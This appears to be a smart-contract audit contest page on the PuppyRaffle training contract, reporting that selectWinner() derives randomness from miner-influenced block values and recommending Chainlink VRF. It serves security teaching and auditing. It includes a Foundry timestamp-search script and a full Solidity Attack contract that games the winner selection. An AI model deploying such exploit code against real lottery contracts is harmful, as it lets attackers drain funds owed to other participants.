Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

selectWinner() uses block.timestamp and block.difficulty for randomness, allowing miners to manipulate winner selection

Root + Impact

Description

  • PuppyRaffle calls selectWinner() to pseudo-randomly pick a winner and distribute the prize pool at the end of each raffle.

  • The winner index is derived from keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)), all of which are either known to or controlled by the miner, making the outcome manipulable.

function selectWinner() external {
// ...
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) // @> all three inputs are predictable or miner-controlled
% players.length;
address winner = players[winnerIndex];
// ...
}

Risk

Likelihood:

  • Any miner who participates in the raffle can simulate the hash off-chain before submitting a block, and simply withhold the block if they are not the predicted winner; a regular user can also pre-compute the hash with a chosen msg.sender and call selectWinner at a specific timestamp.

Impact:

  • The attacker guarantees themselves the prize pool, completely undermining the fairness of the raffle for all other participants.

Proof of Concept

A colluding miner enters the raffle, then mines blocks until keccak256(abi.encodePacked(minerAddress, block.timestamp, block.difficulty)) % players.length maps to their own player index before broadcasting.

// Off-chain simulation (Foundry script)
function findWinningTimestamp(address[] memory players, address caller) external view returns (uint256) {
for (uint256 ts = block.timestamp; ts < block.timestamp + 100; ts++) {
uint256 idx = uint256(keccak256(abi.encodePacked(caller, ts, block.difficulty))) % players.length;
if (players[idx] == caller) {
return ts; // broadcast the block at exactly this timestamp
}
}
revert("not found in window");
}

The PoC confirms that within a small timestamp search window a caller can identify a timestamp at which they will be selected winner and time their selectWinner call accordingly.

Recommended Mitigation

Replace the on-chain entropy source with a verifiable off-chain oracle such as Chainlink VRF, which provides provably fair randomness that cannot be front-run or manipulated by miners.

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)))
- % players.length;
+ // Request randomness from Chainlink VRF and use the callback to select the winner
+ uint256 requestId = i_vrfCoordinator.requestRandomWords(...);
+ // winner selection moved to fulfillRandomWords(uint256 requestId, uint256[] memory randomWords)
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!